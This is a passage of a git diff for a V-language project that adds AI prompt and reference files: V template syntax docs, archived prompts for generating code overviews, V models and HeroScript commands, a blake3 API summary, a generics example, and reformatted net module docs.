-*   **`osal.load_env_file(file_path string) !`**: Load variables from a file.
-
-### 5. Command & Profile Management
-
-*   **`osal.cmd_add(args: CmdAddArgs) !`**: Add a binary to system paths and update profiles.
-    *   **Key Parameters**: `source` (string, required), `cmdname` (string).
-*   **`osal.profile_path_add_remove(args: ProfilePathAddRemoveArgs) !`**: Add/remove paths from profiles.
-    *   **Key Parameters**: `paths2add` (string), `paths2delete` (string).
-
-### 6. System Information
-
-*   **`osal.platform() !PlatformType`**: Identify the operating system.
-*   **`osal.cputype() !CPUType`**: Identify the CPU architecture.
-*   **`osal.hostname() !string`**: Get system hostname.
-
----
-

aiprompts/herolib_core/v_templates.md

@@ -0,0 +1,165 @@
+V allows for easily using text templates, expanded at compile time to
+V functions, that efficiently produce text output. This is especially
+useful for templated HTML views, but the mechanism is general enough
+to be used for other kinds of text output also.
+
+# Template directives
+
+Each template directive begins with an `@` sign.
+Some directives contain a `{}` block, others only have `''` (string) parameters.
+
+Newlines on the beginning and end are ignored in `{}` blocks,
+otherwise this (see [if](#if) for this syntax):
+
+```html
+@if bool_val {
+    <span>This is shown if bool_val is true</span>
+}
+```
+
+... would output:
+
+```html
+
+    <span>This is shown if bool_val is true</span>
+
+```
+
+... which is less readable.
+
+## if
+
+The if directive, consists of three parts, the `@if` tag, the condition (same syntax like in V)
+and the `{}` block, where you can write html, which will be rendered if the condition is true:
+
+```
+@if <condition> {}
+```
+
+### Example
+
+```html
+@if bool_val {
+    <span>This is shown if bool_val is true</span>
+}
+```
+
+One-liner:
+
+```html
+@if bool_val { <span>This is shown if bool_val is true</span> }
+```
+
+The first example would result in:
+
+```html
+    <span>This is shown if bool_val is true</span>
+```
+
+... while the one-liner results in:
+
+```html
+<span>This is shown if bool_val is true</span>
+```
+
+## for
+
+The for directive consists of three parts, the `@for` tag,
+the condition (same syntax like in V) and the `{}` block,
+where you can write text, rendered for each iteration of the loop:
+
+```
+@for <condition> {}
+```
+
+### Example for @for
+
+```html
+@for i, val in my_vals {
+    <span>$i - $val</span>
+}
+```
+
+One-liner:
+
+```html
+@for i, val in my_vals { <span>$i - $val</span> }
+```
+
+The first example would result in:
+
+```html
+    <span>0 - "First"</span>
+    <span>1 - "Second"</span>
+    <span>2 - "Third"</span>
+    ...
+```
+
+... while the one-liner results in:
+
+```html
+<span>0 - "First"</span>
+<span>1 - "Second"</span>
+<span>2 - "Third"</span>
+...
+```
+
+You can also write (and all other for condition syntaxes that are allowed in V):
+
+```html
+@for i = 0; i < 5; i++ {
+    <span>$i</span>
+}
+```
+
+## include
+
+The include directive is for including other html files (which will be processed as well)
+and consists of two parts, the `@include` tag and a following `'<path>'` string.
+The path parameter is relative to the template file being called.
+
+### Example for the folder structure of a project using templates:
+
+```
+Project root
+/templates
+    - index.html
+    /headers
+        - base.html
+```
+
+`index.html`
+
+```html
+
+<div>@include 'header/base'</div>
+```
+
+> Note that there shouldn't be a file suffix,
+> it is automatically appended and only allows `html` files.
+
+
+## js
+
+The js directive consists of two parts, the `@js` tag and `'<path>'` string,
+where you can insert your src
+
+```
+@js '<url>'
+```
+
+### Example for the @js directive:
+
+```html
+@js 'myscripts.js'
+```
+
+# Variables
+
+All variables, which are declared before the $tmpl can be used through the `@{my_var}` syntax.
+It's also possible to use properties of structs here like `@{my_struct.prop}`.
+
+# Escaping
+
+The `@` symbol starts a template directive. If you need to use `@` as a regular 
+character within a template, escape it by using a double `@` like this: `@@`.

aiprompts/instructions_archive/documentation_from_v.md

@@ -0,0 +1,52 @@
+params: 
+
+- filepath: /Users/despiegk/code/github/freeflowuniverse/herolib/lib/clients/openai
+
+make a dense overview of the code above, easy to understand for AI
+
+the result is 1 markdown file called codeoverview.md  and is stored in $filepath
+
+try to figure out which functions are more important and which are less important, so that the most important functions are at the top of section you are working on
+
+the template is as follows
+
+```md
+# the name of the module
+
+2-5 liner description
+
+## factory
+
+is there factory, which one and quick example how to call, don’t say in which file not relevant
+show how to import the module is as follows: import freeflowuniverse.herolib. 
+and then starting from lib e.g. lib/clients/mycelium would result in import freeflowuniverse.herolib. clients.mycelium
+
+## overview
+
+quick overview as list with identations, of the structs and its methods
+
+## structs
+
+### structname
+
+now list the methods & arguments, for arguments use table
+
+for each method show the arguments needed to call the method, and what it returns
+
+### methods
+
+- if any methods which are on module
+- only show public methods, don't show the get/set/exists methods on module level as part of factory.
+
+
+```
+
+don't mention what we don't show because of rules above.
+
+the only output we want is  markdown file as follows
+
+===WRITE=== 
+$filepath
+===CONTENT===
+$the content of the generated markdown file
+===END===

aiprompts/instructions_archive/documentation_from_v_md.md

@@ -0,0 +1,22 @@
+remove all navigation elements, and index
+for each method, move the args as used in the methods to the method section so its easier to read
+
+start of output file is:
+
+# the name of the module
+
+2-5 liner description
+
+## factory
+
+is there factory, which one and quick example how to call, don’t say in which file not relevant
+show how to import the module is as follows: import freeflowuniverse.herolib. 
+and then starting from lib e.g. lib/clients/mycelium would result in import freeflowuniverse.herolib. clients.mycelium
+
+## structs and methods
+
+quick overview as list with identations, of the structs and its methods
+
+
+ONLY OUTPUT THE MARKDOWN FILE, NOTHING ELSE
+

aiprompts/instructions_archive/models_from_v/generics.md

@@ -0,0 +1,18 @@
+in hero.db
+
+make a generic function which takes any of the root objects (which inherits from Base)
+
+and gets a json from it and add a save() function to it to store it in postgresql (see postgresql client)
+and also a get and deserializes
+
+the json is put in table as follows
+
+tablename: $dirname_$rootobjectname all lowercase
+
+each table has
+
+- id
+- ... the fields which represents indexes (see @[index])
+- data which is the json
+
+information how to use generics see aiprompts/v_advanced/generics.md and aiprompts/v_advanced/reflection.md

aiprompts/instructions_archive/models_from_v/prompt.md

@@ -0,0 +1,45 @@
+$NAME = calendar
+
+walk over all models from biz: db/heromodels/src/models/$NAME in the rust repo
+create nice structured public models in Vlang (V) see instructions in herlolib
+
+put the results in /Users/despiegk/code/github/freeflowuniverse/herolib/lib/hero/models/$NAME
+
+put decorator on fields which need to be indexed: use @[index] for that at end of line of the property of the struct
+
+copy the documentation as well and put on the vstruct and on its fields
+
+make instructions so a coding agent can execute it, put the models in files, ...
+
+keep it all simple
+
+don't do anything additional for modules, don't do import
+
+at top of each file we have ```module $NAME```
+
+
+make sure all time related fields are in u64 format, use unix timestamp for that
+
+don't create management classes, only output the structs, don't create a mod.v, don't make .v scripts executatble, don't create a main.v
+
+
+## now also make sure we use core.base as follows
+
+```
+import freeflowuniverse.herolib.hero.models.core
+
+// Account represents a financial account for tracking balances and transactions
+// Supports multiple account types (checking, savings, investment, etc.)
+pub struct Account {
+    core.Base
+
+```
+
+remove Local BaseModel
+
+make sure module ... is always at first line of file
+
+- remove id from the model we update because it is in the Base
+- created_at u64 // Creation timestamp
+- updated_at u64 // Last modification timestamp
+- basically each property in the Base should be removed from the model

aiprompts/instructions_archive/models_from_v/readme.md

@@ -0,0 +1 @@
+Kimi k2 on groq is doing well

aiprompts/instructions_archive/models_from_v/update.md

@@ -0,0 +1,20 @@
+in lib/hero/models
+for governance and legal
+
+make sure we use core.base as follows
+
+import freeflowuniverse.herolib.hero.models.core
+
+// Account represents a financial account for tracking balances and transactions
+// Supports multiple account types (checking, savings, investment, etc.)
+pub struct Account {
+    core.Base
+
+remove Local BaseModel
+
+make sure module ... is always at first line of file
+
+- remove id from the model we update because it is in the Base
+- created_at u64 // Creation timestamp
+- updated_at u64 // Last modification timestamp
+- basically each property in the Base should be removed from the model

aiprompts/instructions_archive/processing/heroscript.md

@@ -0,0 +1,109 @@
+## INTENT
+
+we use heroscript to communicate actions and events in a structured format.
+we want you to parse user intents and generate the corresponding heroscript.
+
+ONLY RETURN THE HEROSCRIPT STATEMENTS, can be more than 1
+
+## HEROSCRIPT FORMAT
+
+HeroScript is a concise scripting language with the following structure:
+
+```heroscript
+!!actor.action_name
+	param1: 'value1'
+	param2: 'value with spaces'
+	multiline_description: '
+		This is a multiline description.
+		It can span multiple lines.
+		'
+	arg1 arg2 // Arguments without keys
+
+!!actor.action_name2 param1:something param2:'something with spaces' nr:3
+```
+
+Key characteristics:
+
+- **Actions**: Start with `!!`, followed by `actor.action_name` (e.g., `!!mailclient.configure`).
+- **Parameters**: Defined as `key:value`. Values can be quoted for spaces.
+- **Multiline Support**: Parameters like `description` can span multiple lines.
+- **Arguments**: Values without keys (e.g., `arg1`).
+- params can be on 1 line, with spaces in between
+- time can be as +1h, +1d, +1w (hour, day, week), ofcourse 1 can be any number, +1 means 1 hour from now
+- time format is:  dd/mm/yyyy hh:mm (ONLY USE THIS)
+- comma separation is used a lot in arguments e.g. 'jan,kristof' or 'jan , kristof' remove spaces, is list of 2
+- note only !! is at start of line, rest has spaces per instruction
+- make one empty line between 1 heroscript statements
+- everything after // is comment
+
+## HEROSCRIPT SCHEMA
+
+the language we understand
+
+### calendar management
+
+```heroscript 
+!!calendar.create when:'+1h'  descr:'this is event to discuss eng' attendees:'jan,kristof' name:'meet1' tags:'eng,urgent'
+!!calendar.delete name:'meet1'
+!!calendar.list tags:'urgent'
+
+```
+
+### contact management
+
+```heroscript 
+!!contact.add name:'jan' email:'jan@example.com' phone:'123-456-7890'
+!!contact.remove name:'jan'
+!!contact.list
+
+```
+
+### task management
+
+```heroscript 
+!!task.create title:'Prepare presentation' due:'+1d' assignee:'jan' name:'task1'  tags:'eng,urgent'
+	deadline:'+10d' duration:'1h'
+!!task.update name:'task1' status:'in progress'
+!!task.delete name:'task1'
+!!task.list
+
+```
+
+### project management
+
+```heroscript 
+!!project.create title:'Cloud Product Development' description:'Track progress of cloud product development' name:'cloud_prod'
+!!project.update name:'cloud_prod' status:'in progress'
+!!project.delete name:'cloud_prod'
+!!project.list
+!!project.tasks_list name:'cloud_prod' //required properties are name, description, and assignee of not given ask
+!!project.tasks_add names:'task1, task2'
+!!project.tasks_remove names:'task1, task2'
+
+```
+
+### SUPPORTED TAGS
+
+only tags supported are: 
+
+- for intent: eng, prod, support, mgmt, marketing
+- for urgency: urgent, high, medium, low
+
+### generic remarks
+
+- names are lowercase and snake_case, can be distilled out of title if only title given, often a user will say name but that means title
+- time: format of returned data or time is always dd/mm/yyyy hh:min
+
+## IMPORTANT STARTING INFO
+
+- current time is  10/08/2025 05:10 , use this to define any time-related parameters
+
+## USER INTENT
+
+I want a meeting tomorrow 10am, where we will discuss our new product for the cloud with jan and alex, and the urgency is high
+
+also let me know which other meetings I have which are urgent
+
+can you make a project where we can track the progress of our new product development? Name is 'Cloud Product Development'
+
+Please add tasks to the project in line to creating specifications, design documents, and implementation plans.

aiprompts/instructions_archive/processing/heroscript2.md

@@ -0,0 +1,64 @@
+SYSTEM
+You are a HeroScript compiler. Convert user intents into valid HeroScript statements.
+
+OUTPUT RULES
+
+1) Return ONLY HeroScript statements. No prose, no backticks.
+2) Separate each statement with exactly ONE blank line.
+3) Keys use snake_case. Names are lowercase snake_case derived from titles (non-alnum → "_", collapse repeats, trim).
+4) Lists are comma-separated with NO spaces (e.g., "jan,alex").
+5) Times: OUTPUT MUST BE ABSOLUTE in "dd/mm/yyyy hh:mm" (Europe/Zurich). Convert relative times (e.g., "tomorrow 10am") using CURRENT_TIME.
+6) Tags: include at most one intent tag and at most one urgency tag when present.
+   - intent: eng,prod,support,mgmt,marketing
+   - urgency: urgent,high,medium,low
+7) Quotes: quote values containing spaces; otherwise omit quotes (allowed either way).
+8) Comments only with // if the user explicitly asks for explanations; otherwise omit.
+
+SCHEMA (exact actions & parameters)
+
+!!calendar.create when:'dd/mm/yyyy hh:mm' name:'<name>' descr:'<text>' attendees:'a,b,c' tags:'intent,urgency'
+!!calendar.delete name:'<name>'
+!!calendar.list [tags:'tag1,tag2']
+
+!!contact.add name:'<name>' email:'<email>' phone:'<phone>'
+!!contact.remove name:'<name>'
+!!contact.list
+
+!!task.create title:'<title>' name:'<name>' [due:'dd/mm/yyyy hh:mm'] [assignee:'<name>'] [tags:'intent,urgency'] [deadline:'dd/mm/yyyy hh:mm'] [duration:'<Nd Nh Nm> or <Nh>']
+!!task.update name:'<name>' [status:'in progress|done|blocked|todo']
+!!task.delete name:'<name>'
+!!task.list
+
+!!project.create title:'<title>' description:'<text>' name:'<name>'
+!!project.update name:'<name>' [status:'in progress|done|blocked|todo']
+!!project.delete name:'<name>'
+!!project.list
+!!project.tasks_list name:'<project_name>'
+!!project.tasks_add name:'<project_name>' names:'task_a,task_b'
+!!project.tasks_remove name:'<project_name>' names:'task_a,task_b'
+
+NORMALIZATION & INFERENCE (silent)
+- Derive names from titles when missing (see rule 3). Ensure consistency across statements.
+- Map phrases to tags when obvious (e.g., "new product" ⇒ intent: prod; "high priority" ⇒ urgency: high).
+- Attendees: split on commas, trim, lowercase given names.
+- If the user asks for “urgent meetings,” use tags:'urgent' specifically.
+- Prefer concise descriptions pulled from the user’s phrasing.
+- Name's are required, if missing ask for clarification.
+- For calendar management, ensure to include all relevant details such as time, attendees, and description.
+
+
+CURRENT_TIME
+
+10/08/2025 05:10
+
+USER_MESSAGE
+
+I want a meeting tomorrow 10am, where we will discuss our new product for the cloud with jan and alex, and the urgency is high
+
+also let me know which other meetings I have which are urgent
+
+can you make a project where we can track the progress of our new product development? Name is 'Cloud Product Development'
+
+Please add tasks to the project in line to creating specifications, design documents, and implementation plans.
+
+END

aiprompts/instructions_archive/processing/intent.md

@@ -0,0 +1,82 @@
+## INSTRUCTIONS
+
+the user will send me multiple instructions what they wants to do, I want you to put them in separate categories
+
+The categories we have defined are:
+
+- calendar management
+  - schedule meetings, events, reminders
+  - list these events
+  - delete them
+- contact management
+  - add/remove contact information e.g. phone numbers, email addresses, address information
+  - list contacts, search
+- task or project management
+  - anything we need to do, anything we need to track and plan
+  - create/update tasks, set deadlines
+  - mark tasks as complete
+  - delete tasks
+  - project management
+- communication (chat, email)
+  - see what needs to be communicate e.g. send a chat to ... 
+- search statements
+  - find on internet, find specific information from my friends
+
+I want you to detect the intent and make multiple blocks out of the intent, each block should correspond to one of the identified intents, identify the intent with name of the category eg. calendar, only use above names
+
+
+
+what user wants to do, stay as close as possible to the original instructions, copy the exact instructions as where given by the user, we only need to sort the instructions in these blocks
+
+for each instruction make a separate block, e.g. if 2 tasks are given, create 2 blocks
+
+the format to return is: (note newline after each title of block)
+
+```template
+===CALENDAR===\n
+
+$the copied text from what user wants
+
+===CONTACT===\n
+...
+
+===QUESTION===\n
+
+put here what our system needs to ask to the user anything which is not clear
+
+===END===\n
+
+```
+
+I want you to execute above on instructions as given by user below, give text back ONLY supporting the template
+
+note for format is only ===$NAME=== and then on next lines the original instructions from the user, don't change
+
+## special processing of info
+
+- if a date or time specified e.g. tomorrow, time, ... calculate back from current date
+
+## IMPORTANT STARTING INFO
+
+- current time is  10/08/2025 05:10  (format of returned data is always dd/mm/yyyy hh:min)
+    - use the current time to define formatted time out of instructions
+    - only return the formatted time
+
+## UNCLEAR INFO
+
+check in instructions e.g. things specified like you, me, ... 
+are not clear ask specifically who do you mean
+
+if task, specify per task, who needs to do it and when, make sure each instruction (block) is complete and clear for further processing
+
+be very specific with the questions e.g. who is you, ...
+
+## EXECUTE ABOVE ON THE FOLLOWING
+
+I am planning a birthday for my daughters tomorrow, there will be 10 people.
+
+I would like to know if you can help me with the preparations.
+
+I need a place for my daughter's birthday party.
+
+I need to send message to my wife isabelle that she needs to pick up the cake.

aiprompts/v_advanced/blake3.md

@@ -0,0 +1,73 @@
+
+## `crypto.blake3` Module
+
+
+```v
+fn sum256(data []u8) []u8
+```
+
+Returns the Blake3 256-bit hash of the provided data.
+
+```v
+fn sum_derive_key256(context []u8, key_material []u8) []u8
+```
+
+Computes the Blake3 256-bit derived-key hash based on the context and key material.
+
+```v
+fn sum_keyed256(data []u8, key []u8) []u8
+```
+
+Returns the Blake3 256-bit keyed hash of the data using the specified key.
+
+---
+
+### Digest-Based API
+
+```v
+fn Digest.new_derive_key_hash(context []u8) !Digest
+```
+
+Initializes a `Digest` struct for creating a Blake3 derived‑key hash, using the provided context.
+
+```v
+fn Digest.new_hash() !Digest
+```
+
+Initializes a `Digest` struct for a standard (unkeyed) Blake3 hash.
+
+```v
+fn Digest.new_keyed_hash(key []u8) !Digest
+```
+
+Initializes a `Digest` struct for a keyed Blake3 hash, with the given key.
+
+---
+
+### `Digest` Methods
+
+```v
+fn (mut d Digest) write(data []u8) !
+```
+
+Feeds additional data bytes into the ongoing hash computation.
+
+```v
+fn (mut d Digest) checksum(size u64) []u8
+```
+
+Finalizes the hash and returns the resulting output.
+
+* The `size` parameter specifies the number of output bytes—commonly `32` for a 256-bit digest, but can be up to `2**64`.
+
+---
+
+### Recommended Usage (in V)
+
+```v
+import crypto.blake3
+
+mut hasher := crypto.blake3.Digest.new_hash() or { panic(err) }
+hasher.write(data) or { panic(err) }
+digest := hasher.checksum(24)  // returns a []u8 of length 24 (192 bits)
+```

aiprompts/v_advanced/generics.md

@@ -0,0 +1,64 @@
+
+```v
+
+struct Repo[T] {
+    db DB
+}
+
+struct User {
+    id   int
+    name string
+}
+
+struct Post {
+    id   int
+    user_id int
+    title string
+    body string
+}
+
+fn new_repo[T](db DB) Repo[T] {
+    return Repo[T]{db: db}
+}
+
+// This is a generic function. V will generate it for every type it's used with.
+fn (r Repo[T]) find_by_id(id int) ?T {
+    table_name := T.name // in this example getting the name of the type gives us the table name
+    return r.db.query_one[T]('select * from ${table_name} where id = ?', id)
+}
+
+db := new_db()
+users_repo := new_repo[User](db) // returns Repo[User]
+posts_repo := new_repo[Post](db) // returns Repo[Post]
+user := users_repo.find_by_id(1)? // find_by_id[User]
+post := posts_repo.find_by_id(1)? // find_by_id[Post]
+
+```
+
+Currently generic function definitions must declare their type parameters, but in future V will infer generic type parameters from single-letter type names in runtime parameter types. This is why find_by_id can omit [T], because the receiver argument r uses a generic type T.
+
+```v
+fn compare[T](a T, b T) int {
+    if a < b {
+        return -1
+    }
+    if a > b {
+        return 1
+    }
+    return 0
+}
+
+// compare[int]
+println(compare(1, 0)) // Outputs: 1
+println(compare(1, 1)) //          0
+println(compare(1, 2)) //         -1
+// compare[string]
+println(compare('1', '0')) // Outputs: 1
+println(compare('1', '1')) //          0
+println(compare('1', '2')) //         -1
+// compare[f64]
+println(compare(1.1, 1.0)) // Outputs: 1
+println(compare(1.1, 1.1)) //          0
+println(compare(1.1, 1.2)) //         -1
+```
+

aiprompts/v_advanced/net.md

@@ -1,26 +1,26 @@
 module net
     ## Description
-    
+
     `net` provides networking functions. It is mostly a wrapper to BSD sockets, so you can listen on a port, connect to remote TCP/UDP services, and communicate with them.
 
 const msg_nosignal = 0x4000
 const err_connection_refused = error_with_code('net: connection refused', errors_base + 10)
 const err_option_wrong_type = error_with_code('net: set_option_xxx option wrong type',
-	errors_base + 3)
+ errors_base + 3)
 const opts_can_set = [
-	SocketOption.broadcast,
+ SocketOption.broadcast,
-	.debug,
+ .debug,
-	.dont_route,
+ .dont_route,
-	.keep_alive,
+ .keep_alive,
-	.linger,
+ .linger,
-	.oob_inline,
+ .oob_inline,
-	.receive_buf_size,
+ .receive_buf_size,
-	.receive_low_size,
+ .receive_low_size,
-	.receive_timeout,
+ .receive_timeout,
-	.send_buf_size,
+ .send_buf_size,
-	.send_low_size,
+ .send_low_size,
-	.send_timeout,
+ .send_timeout,
-	.ipv6_only,
+ .ipv6_only,
 ]
 const error_eagain = C.EAGAIN
 const err_port_out_of_range = error_with_code('net: port out of range', errors_base + 5)
@@ -29,12 +29,12 @@ const err_connect_failed = error_with_code('net: connect failed', errors_base +
 const errors_base = 0
     Well defined errors that are returned from socket functions
 const opts_int = [
-	SocketOption.receive_buf_size,
+ SocketOption.receive_buf_size,
-	.receive_low_size,
+ .receive_low_size,
-	.receive_timeout,
+ .receive_timeout,
-	.send_buf_size,
+ .send_buf_size,
-	.send_low_size,
+ .send_low_size,
-	.send_timeout,
+ .send_timeout,
 ]
 const error_eintr = C.EINTR
 const error_ewouldblock = C.EWOULDBLOCK
@@ -43,17 +43,17 @@ const error_einprogress = C.EINPROGRESS
 const err_timed_out_code = errors_base + 9
 const err_connect_timed_out = error_with_code('net: connect timed out', errors_base + 8)
 const err_new_socket_failed = error_with_code('net: new_socket failed to create socket',
-	errors_base + 1)
+ errors_base + 1)
 const msg_dontwait = C.MSG_DONTWAIT
 const infinite_timeout = time.infinite
     infinite_timeout should be given to functions when an infinite_timeout is wanted (i.e. functions only ever return with data)
 const no_timeout = time.Duration(0)
     no_timeout should be given to functions when no timeout is wanted (i.e. all functions return instantly)
 const err_timed_out = error_with_code('net: op timed out', errors_base + 9)
-const tcp_default_read_timeout = 30 * time.second
+const tcp_default_read_timeout = 30 *time.second
 const err_option_not_settable = error_with_code('net: set_option_xxx option not settable',
-	errors_base + 2)
+ errors_base + 2)
-const tcp_default_write_timeout = 30 * time.second
+const tcp_default_write_timeout = 30* time.second
 fn addr_from_socket_handle(handle int) Addr
     addr_from_socket_handle returns an address, based on the given integer socket `handle`
 fn close(handle int) !
@@ -94,16 +94,16 @@ fn validate_port(port int) !u16
     validate_port checks whether a port is valid and returns the port or an error
 fn wrap_error(error_code int) !
 interface Connection {
-	addr() !Addr
+ addr() !Addr
-	peer_addr() !Addr
+ peer_addr() !Addr
 mut:
-	read(mut []u8) !int
+ read(mut []u8) !int
-	write([]u8) !int
+ write([]u8) !int
-	close() !
+ close() !
 }
     Connection provides a generic SOCK_STREAM style interface that protocols can use as a base connection object to support TCP, UNIX Domain Sockets and various proxying solutions.
 interface Dialer {
-	dial(address string) !Connection
+ dial(address string) !Connection
 }
     Dialer is an abstract dialer interface for producing connections to adresses.
 fn (mut s TcpSocket) set_option_bool(opt SocketOption, value bool) !
@@ -114,49 +114,49 @@ fn (mut s TcpSocket) bind(addr string) !
 fn (mut s UdpSocket) set_option_bool(opt SocketOption, value bool) !
 fn (mut s UdpSocket) set_dualstack(on bool) !
 enum AddrFamily {
-	unix   = C.AF_UNIX
+ unix   = C.AF_UNIX
-	ip     = C.AF_INET
+ ip     = C.AF_INET
-	ip6    = C.AF_INET6
+ ip6    = C.AF_INET6
-	unspec = C.AF_UNSPEC
+ unspec = C.AF_UNSPEC
 }
     AddrFamily are the available address families
 enum ShutdownDirection {
-	read
+ read
-	write
+ write
-	read_and_write
+ read_and_write
 }
     ShutdownDirection is used by `net.shutdown`, for specifying the direction for which the communication will be cut.
 enum SocketOption {
-	// TODO: SO_ACCEPT_CONN is not here because windows doesn't support it
+ // TODO: SO_ACCEPT_CONN is not here because windows doesn't support it
-	// and there is no easy way to define it
+ // and there is no easy way to define it
-	broadcast        = C.SO_BROADCAST
+ broadcast        = C.SO_BROADCAST
-	debug            = C.SO_DEBUG
+ debug            = C.SO_DEBUG
-	dont_route       = C.SO_DONTROUTE
+ dont_route       = C.SO_DONTROUTE
-	error            = C.SO_ERROR
+ error            = C.SO_ERROR
-	keep_alive       = C.SO_KEEPALIVE
+ keep_alive       = C.SO_KEEPALIVE
-	linger           = C.SO_LINGER
+ linger           = C.SO_LINGER
-	oob_inline       = C.SO_OOBINLINE
+ oob_inline       = C.SO_OOBINLINE
-	reuse_addr       = C.SO_REUSEADDR
+ reuse_addr       = C.SO_REUSEADDR
-	receive_buf_size = C.SO_RCVBUF
+ receive_buf_size = C.SO_RCVBUF
-	receive_low_size = C.SO_RCVLOWAT
+ receive_low_size = C.SO_RCVLOWAT
-	receive_timeout  = C.SO_RCVTIMEO
+ receive_timeout  = C.SO_RCVTIMEO
-	send_buf_size    = C.SO_SNDBUF
+ send_buf_size    = C.SO_SNDBUF
-	send_low_size    = C.SO_SNDLOWAT
+ send_low_size    = C.SO_SNDLOWAT
-	send_timeout     = C.SO_SNDTIMEO
+ send_timeout     = C.SO_SNDTIMEO
-	socket_type      = C.SO_TYPE
+ socket_type      = C.SO_TYPE
-	ipv6_only        = C.IPV6_V6ONLY
+ ipv6_only        = C.IPV6_V6ONLY
 }
 enum SocketType {
-	udp       = C.SOCK_DGRAM
+ udp       = C.SOCK_DGRAM
-	tcp       = C.SOCK_STREAM
+ tcp       = C.SOCK_STREAM
-	seqpacket = C.SOCK_SEQPACKET
+ seqpacket = C.SOCK_SEQPACKET
 }
     SocketType are the available sockets
 struct Addr {
 pub:
-	len  u8
+ len  u8
-	f    u8
+ f    u8
-	addr AddrData
+ addr AddrData
 }
 fn (a Addr) family() AddrFamily
     family returns the family/kind of the given address `a`
@@ -168,72 +168,72 @@ fn (a Addr) str() string
     str returns a string representation of the address `a`
 struct C.addrinfo {
 mut:
-	ai_family    int
+ ai_family    int
-	ai_socktype  int
+ ai_socktype  int
-	ai_flags     int
+ ai_flags     int
-	ai_protocol  int
+ ai_protocol  int
-	ai_addrlen   int
+ ai_addrlen   int
-	ai_addr      voidptr
+ ai_addr      voidptr
-	ai_canonname voidptr
+ ai_canonname voidptr
-	ai_next      voidptr
+ ai_next      voidptr
 }
 struct C.fd_set {}
 struct C.sockaddr_in {
 mut:
-	sin_len    u8
+ sin_len    u8
-	sin_family u8
+ sin_family u8
-	sin_port   u16
+ sin_port   u16
-	sin_addr   u32
+ sin_addr   u32
-	sin_zero   [8]char
+ sin_zero   [8]char
 }
 struct C.sockaddr_in6 {
 mut:
-	// 1 + 1 + 2 + 4 + 16 + 4 = 28;
+ // 1 + 1 + 2 + 4 + 16 + 4 = 28;
-	sin6_len      u8     // 1
+ sin6_len      u8     // 1
-	sin6_family   u8     // 1
+ sin6_family   u8     // 1
-	sin6_port     u16    // 2
+ sin6_port     u16    // 2
-	sin6_flowinfo u32    // 4
+ sin6_flowinfo u32    // 4
-	sin6_addr     [16]u8 // 16
+ sin6_addr     [16]u8 // 16
-	sin6_scope_id u32    // 4
+ sin6_scope_id u32    // 4
 }
 struct C.sockaddr_un {
 mut:
-	sun_len    u8
+ sun_len    u8
-	sun_family u8
+ sun_family u8
-	sun_path   [max_unix_path]char
+ sun_path   [max_unix_path]char
 }
 struct Ip {
-	port u16
+ port u16
-	addr [4]u8
+ addr [4]u8
-	// Pad to size so that socket functions
+ // Pad to size so that socket functions
-	// dont complain to us (see  in.h and bind())
+ // dont complain to us (see  in.h and bind())
-	// TODO(emily): I would really like to use
+ // TODO(emily): I would really like to use
-	// some constant calculations here
+ // some constant calculations here
-	// so that this doesnt have to be hardcoded
+ // so that this doesnt have to be hardcoded
-	sin_pad [8]u8
+ sin_pad [8]u8
 }
 fn (a Ip) str() string
     str returns a string representation of `a`
 struct Ip6 {
-	port      u16
+ port      u16
-	flow_info u32
+ flow_info u32
-	addr      [16]u8
+ addr      [16]u8
-	scope_id  u32
+ scope_id  u32
 }
 fn (a Ip6) str() string
     str returns a string representation of `a`
 struct ListenOptions {
 pub:
-	dualstack bool = true
+ dualstack bool = true
-	backlog   int  = 128
+ backlog   int  = 128
 }
 struct ShutdownConfig {
 pub:
-	how ShutdownDirection = .read_and_write
+ how ShutdownDirection = .read_and_write
 }
 struct Socket {
 pub:
-	handle int
+ handle int
 }
 fn (s &Socket) address() !Addr
     address gets the address of a socket
@@ -243,13 +243,13 @@ fn (t TCPDialer) dial(address string) !Connection
     dial will try to create a new abstract connection to the given address. It will return an error, if that is not possible.
 struct TcpConn {
 pub mut:
-	sock           TcpSocket
+ sock           TcpSocket
-	handle         int
+ handle         int
-	write_deadline time.Time
+ write_deadline time.Time
-	read_deadline  time.Time
+ read_deadline  time.Time
-	read_timeout   time.Duration
+ read_timeout   time.Duration
-	write_timeout  time.Duration
+ write_timeout  time.Duration
-	is_blocking    bool = true
+ is_blocking    bool = true
 }
 fn (c &TcpConn) addr() !Addr
 fn (mut c TcpConn) close() !
@@ -265,7 +265,7 @@ fn (c TcpConn) read(mut buf []u8) !int
 fn (mut c TcpConn) read_deadline() !time.Time
 fn (mut con TcpConn) read_line() string
     read_line is a *simple*, *non customizable*, blocking line reader. It will return a line, ending with LF, or just '', on EOF.
-    
+
     Note: if you want more control over the buffer, please use a buffered IO reader instead: `io.new_buffered_reader({reader: io.make_reader(con)})`
 fn (mut con TcpConn) read_line_max(max_line_len int) string
     read_line_max is a *simple*, *non customizable*, blocking line reader. It will return a line, ending with LF, '' on EOF. It stops reading, when the result line length exceeds max_line_len.
@@ -278,7 +278,7 @@ fn (mut c TcpConn) set_read_deadline(deadline time.Time)
 fn (mut c TcpConn) set_read_timeout(t time.Duration)
 fn (mut c TcpConn) set_sock() !
     set_sock initialises the c.sock field. It should be called after `.accept_only()!`.
-    
+
     Note: just use `.accept()!`. In most cases it is simpler, and calls `.set_sock()!` for you.
 fn (mut c TcpConn) set_write_deadline(deadline time.Time)
 fn (mut c TcpConn) set_write_timeout(t time.Duration)
@@ -295,19 +295,17 @@ fn (mut c TcpConn) write_string(s string) !int
 fn (c &TcpConn) write_timeout() time.Duration
 struct TcpListener {
 pub mut:
-	sock            TcpSocket
+ sock            TcpSocket
-	accept_timeout  time.Duration
+ accept_timeout  time.Duration
-	accept_deadline time.Time
+ accept_deadline time.Time
-	is_blocking     bool = true
+ is_blocking     bool = true
 }
 fn (mut l TcpListener) accept() !&TcpConn
     accept a tcp connection from an external source to the listener `l`.
 fn (mut l TcpListener) accept_only() !&TcpConn
     accept_only accepts a tcp connection from an external source to the listener `l`. Unlike `accept`, `accept_only` *will not call* `.set_sock()!` on the result, and is thus faster.
-    
+
-    
+    Note: you *need* to call `.set_sock()!` manually, before using theconnection after calling `.accept_only()!`, but that does not have to happen in the same thread that called `.accept_only()!`. The intention of this API, is to have a more efficient way to accept connections, that are later processed by a thread pool, while the main thread remains active, so that it can accept other connections. See also vlib/veb/veb.v .
-    
-    Note: you *need* to call `.set_sock()!` manually, before using theconnection after calling `.accept_only()!`, but that does not have to happen in the same thread that called `.accept_only()!`. The intention of this API, is to have a more efficient way to accept connections, that are later processed by a thread pool, while the main thread remains active, so that it can accept other connections. See also vlib/vweb/vweb.v .
     
